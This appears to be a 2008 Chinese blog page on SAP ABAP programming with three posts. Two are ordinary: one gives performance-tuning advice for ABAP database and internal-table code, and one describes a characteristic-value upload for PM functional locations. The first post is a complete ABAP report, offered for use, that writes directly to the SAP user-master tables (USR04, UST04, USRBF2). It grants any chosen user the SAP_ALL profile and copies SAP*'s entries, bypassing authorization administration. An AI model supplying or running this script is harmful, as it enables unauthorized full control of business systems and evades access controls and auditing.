Maurice's blog - 因为专注,所以专业...
自我介绍
切换风格
订阅我的Blog
博客日历
文章归档...
最新发表...
最新评论...
最多阅读文章...
博客统计...
网站链接...
资源
===========================================================
如何增加SAP_ALL的权限
===========================================================

想拥有SAP的最大权限吗?执行下面的代码吧,想干嘛干嘛...

REPORT ZTESTCREATEUSER.

data: l_USR04 LIKE USR04 ,
l_UST04 LIKE UST04 ,
l_PROFS LIKE USR04-PROFS ,
l_USRBF2 like USRBF2 occurs 0 with header line,
l_userid like usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR USR01-BNAME .

START-OF-SELECTION.

select single * into l_USR04 from USR04
where BNAME in p_user.
move 'C SAP_ALL' to l_PROFS .
l_USR04-NRPRO = '14'.
l_USR04-PROFS = l_PROFS.
Update USR04 from l_USR04 .
l_userid = l_USR04-BNAME.
select single * into l_UST04 from UST04
where BNAME in p_user.
l_UST04-PROFILE = 'SAP_ALL'.
Update UST04 from l_UST04 .

select * from USRBF2 into table l_USRBF2
where BNAME = 'SAP*' .
Loop at l_USRBF2.
l_USRBF2-BNAME = l_userid.
Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE l_USRBF2 ACCEPTING DUPLICATE KEYS.


qiujun 发表于:2008.07.22 15:58 ::分类: ( ABAP ) ::阅读:(345次) :: 评论 (3) :: 引用 (0)
===========================================================
关于自定义程序的效能优化
===========================================================

关于自定义程序的效能优化
说明:本文档是参照sap程序优化标准培训教材BC490。
程序优化宗旨:1.正确运用索引,尽量避免以全表扫描的方式提取数据,
这是程序效能的最主要影响因素。
2.尽量减少数据的传输(例如,利用buffer,无用列不要传,数据
的过滤尽量放在数据库层等)。
3.批处理优于逐笔处理。
4.让代码少作无用功,摈弃无用程序代码。

一、实现方式的优化:
1.检查系统标准报表,察看有没有功能相同,相似的报表,以标准报表,或标准报表的增强版代替自定义开发程序。
2.低效率的query程序,如果问题出在无法优化的infoset 则应该考虑abap开发。
3.通过信息结构产生的查询程序,要特别注意效能,必要的时候考虑abap自定义开发,或query, report painter 等方式实现。
4.通过逻辑数据库实现的程序,如果效能低,可以考虑abap开发实现。

二、运行方式的优化:
1.对于非实时数据查询报表,可以考虑放到后台运行。
2.非实时数据查询,可以通过自定数据表存储运算结果,让用户直接从自定义表抽取报表数据,大大提升查询响应速度。
3.定期后台运行程序,把结果存入文档直接让用户下载等。

三、查询界面的优化:
1. 注意避免完全无输入限制的界面,这样可能会导致全表扫描的查询方式,带来效能问题
2.查询界面的设计要尽量契合程序中SQL的where条件。

四、程序代码的优化:
1) 正确运用索引:For all frequently used Select statements, try to use an
index. You always use an index if you specify (a generic part of)
the index fields concatenated with logical Ands in the Select
statement's Where clause. Note that complex Where clauses
are poison for the statement optimizer in any database system。
如果一个大数据量的SQL查询,WHERE条件没有利用索引提取数据,必然带来严重的效能问题:可以通过工具ST05等分析查询效能,或直接通过观察法分析SQL查询语句。
A.首先查看是否使用正确的数据表,(例如如果要取得科目期间金额数据,可直接从glt0表中获得,而不要通过bseg累加计算了)。
B.如果当前表不能提供按索引查询,可考虑是否可以通过索引表,例如vbrp中没有按物料的条件查询,但vbrmp则有按物料的索引,可以通过该表获得凭证号,再通过凭证号到VBRP中获得所需信息。
C.看有没有符合条件的视图。
D.按查询条件建立索引。

*自定义索引请注意以下问题:
1.不要修改标准索引。
2.每个表一般索引个数不要超过5个,索引字段一般不要超过4个。
3.尽量不要在主数据表和业务数据表中添加索引。
4.不要在以DD打头的标中建索引,因为他们是基础表。
5.字段排列按一下规则: Identifiers:+ Organizational units:+ Status fields:+ Classifiers:+ Date and time:+ Text fields:)。
6.对于非常复杂的where条件要拆成多查询语句,因为数据库的查询优化器无法对复杂条
件查询实现优化,可能导致非索引查询。
2) Where条件中尽量不要用“非”的查询条件(诸如not,<>, not in ,etc),这样可以缩小
数据搜索范围。
3)注意BUFFER:For all frequently used, read-only tables, try to use SAP buffering.
Network load is considerably less。
4) 尽量避免嵌套查询,多SQL查询,看可不可以用视图,表关联或子查询替代。
5) 用Select Into Table 代替Select + Append模式语句。
6) 用批处理模式代替逐纪录处理,例如:
INSERT CUSTOMERS FROM TABLE TAB.
比下面语句要高效的多
LOOP AT TAB INTO TAB_WA.
INSERT INTO CUSTOMERS VALUES TAB_WA.
ENDLOOP.
其他操作原理相同
7) 把运算尽量放到SQL层次实现,避免不必要数据的传输,例如
SELECT * FROM SBOOK INTO SBOOK_WA
WHERE CARRID = 'LH' AND CONNID = '0400'.
ENDSELECT.
比下面语句要高效率
SELECT * FROM SBOOK INTO SBOOK_WA.
CHECK: SBOOK_WA-CARRID = 'LH' AND SBOOK_WA-CONNID = '0400'.
ENDSELECT.

还有: DATA: MAX_MSGNR type t100-msgnr.
SELECT MAX( MSGNR ) FROM T100 INTO max_msgnr
WHERE SPRSL = 'D' AND
ARBGB = '00'.比下面语句要高效率得多
DATA: MAX_MSGNR type t100-msgnr.
MAX_MSGNR = '000'.
SELECT * FROM T100 INTO T100_WA
WHERE SPRSL = 'D' AND
ARBGB = '00'.
CHECK: T100_WA-MSGNR > MAX_MSGNR.
MAX_MSGNR = T100_WA-MSGNR.
ENDSELECT.
等等,其他操作原理相同。
8)不要滥用 SELECT *,一般应把所需字段list出来,不要list不必要的字段,减少数据传输,减轻网络负担,提升性能。

9)大数据量内表处理的优化
a.批处理优于逐纪录处理,例如APPEND LINES OF ITAB1 TO ITAB2.
优于
LOOP AT ITAB1 INTO WA.
APPEND WA TO ITAB2.
ENDLOOP.
ITAB2[] = ITAB1[].
优于
REFRESH ITAB2.
LOOP AT ITAB1 INTO WA.
APPEND WA TO ITAB2.
ENDLOOP.

b.运用排序和BINARY SEARCH
If internal tables are assumed to have many (>20) entries, a linear
search through all entries is very time-consuming.
Try to keep the table ordered and use binary search
or used a table of type SORTED TABLE.
If TAB has n entries, linear search runs in O( n ) time, whereas
binary search takes only O( log2( n ) ).
例如:
READ TABLE ITAB INTO WA WITH KEY K = 'X' BINARY SEARCH.
远优于
READ TABLE ITAB INTO WA WITH KEY K = 'X'.


qiujun 发表于:2008.07.18 09:54 ::分类: ( ABAP ) ::阅读:(194次) :: 评论 (0) :: 引用 (0)
===========================================================
PM-功能位置特性值批量更新程序
===========================================================

一个比较实用的程序,特性值的导入,此程序主要用在PM的功能位置(IL02)特性值导入,只要把对应的TABLE改一下,还可以用在物料等特性值的导入上。

导入模板:

PM000023PM000024PM000025PM000026PM000027PM000028PM000029
33250001-W1-00023453222
33250001-W1-00013453222

到内表以后有作转换,变成如下模板:

功能位置类别特性特性值
33250001-W1-0002EAMSD001PM0000281
33250001-W1-0002EAMSD001PM0000292
33250001-W1-0002EAMSD001PM0000303
33250001-W1-0002EAMSD001PM0000314

因为第一个模板是之前导入的模块,如果要人工整理成第二种标准模板,过于麻烦,用户比较伟大,所有只好在程序中作处理了,类别由程序实现。第一种模板如果特性值超过256个,就没办法导入了,EXCEL只有256列,第二个模板就不会有这样的问题。

程序如下:

 查看全文
qiujun 发表于:2008.07.16 09:54 ::分类: ( ABAP ) ::阅读:(208次) :: 评论 (0) :: 引用 (0)